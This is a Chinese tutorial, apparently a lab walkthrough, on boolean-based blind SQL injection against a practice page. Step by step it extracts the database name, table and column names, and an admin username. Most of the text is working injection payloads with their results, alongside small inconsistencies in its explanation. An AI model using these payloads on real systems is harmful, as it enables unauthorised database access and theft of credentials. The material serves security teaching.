http://www.nanhack.com/payload/sql/bool.php?id=1 and 1=1 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1 and 1=2 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and 1=1 --+ 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and 1=2 --+ 页面不正常
说明后台sql语句再接受id这个参数的时候,并没有给参数添加引号,所以 1=1(真)和 1=2(假)生效了。如下
$id = $_GET['id'];
$sql = "select * from admins where id = '$id'";
#所以加上 and 1=1 语句就变为:
select * from admins where id = '1' and 1=1 --+' #为真有数据
select * from admins where id = '1' and 1=2 --+' #为假查不到数据
根据以上内容确定,本页面注入类型为字符型注入的布尔型注入。
布尔型注入根据页面的变化来判断
这里用到的函数有ascii(),substr(),length()
ascii()函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr() 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1,length为长度。
length() 函数:获取字符串的长度
判断显示位:
http://www.nanhack.com/payload/sql/bool.php?id=1' order by 8--+ #正常
http://www.nanhack.com/payload/sql/bool.php?id=1' order by 9--+ #不正常,则显示位为8
联合查询
http://www.nanhack.com/payload/sql/bool.php?id=-1' UNION SELECT 1,2,3,4,5,6,7,8--+
# 执行后发现本页面没有显示位,不能用联合查询注入,所以只能根据页面的显示状态来判断
获取数据库名字长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())>0 --+
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())>7 --+ #页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())=7 --+ #页面正常
#得到数据库名字长度是7
获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))>110 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))=110 --+ #页面正常
#得到数据库名字的第一个字符ascii值是110,查看如下表格
# 发现 110 是字母n
继续第二个字母
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))>97 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))=97 --+ #页面正常
#得到数据库名字的第二个字符ascii值是97,查看如下表格
# 查表得到97是字母a
# 依次类推,得到数据库名字是:nanhack
获取数据库nanhack中表的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())>7--+ # 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())>8--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())=8--+ # 页面正常
# 得到 表的数量为 8
获取 数据库 nanhack 中的第一个表的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>9--+ # 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=10--+ # 页面正常
# 得到 表名的长度是10
获取 数据库 nanhack 中的第一个表的名字
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97--+ # 页面正常
# 得到 表名的第一个字符的ascii值是 97 ,查表得到a
开始确定第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>79--+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=100--+ # 页面正常
# 得到 表名的第一个字符的ascii值是 100 ,查表得到d
# 依次类推得到表名 是 admin_logs
# 依次类推在查询第二个表、第三个表,最终找到表名为admins表
获取 数据库 nanhack 中表 admins 中列的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>8 --+ --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')=8 --+ 页面正常
# 得到表 admins 列的数量是 8
获取 表 admins 第一个列的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>2 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))=2 --+ # 页面正常
# 得到表 admins 第一个列的长度是 2
获取 表 admins 第一个列的字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>105 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))=105 --+ # 页面正常
# 得到表 admins 第一个列的第一个字符的ascii值是i
依次类推得到 第一个列是id
用同样方法得到其他的列:username,userpwd 等
获取 表 admins 第一条 username 数据的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))>18 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))=18 --+ 页面正常
# 得到表 admins 第一个列的第一条数据字符长度是18(注意:有可能是中文,一个中文长度为3,所以这里有可能是6个中文)
获取 表 admins 第一条 username 数据的第一个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select username from admins limit 0,1)),1,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select username from admins limit 0,1),1,1))>127 --+ # 页面正常
# ascii值大于127 还正常,说明此字符是中文。 则先把中文转成hex,转成hex后总字符长度是36.
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))>79 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))>69 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))=69 --+ 页面正常
# 得到表 admins 第一个列的第一条数据第一个字符的HEX第一个字符的ascii值是69,查表得到 E
# 查询第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))>79 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))>53 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))=53 --+ 页面正常
# 得到表 admins 第一个列的第一条数据第二个字符的HEX第一个字符的ascii值是53,查表得到 5
依次类推,最终确定所有字符是:E5BF85E781ABE7BD91E7BB9CE5AE89E585A8
使用工具解码(http://stool.chinaz.com/hex)得到六个字符为:必火网络安全
布尔型注入解析到此为止,数据不是中文那就容易多了,如果有不懂的地方可以加页面底部的QQ群。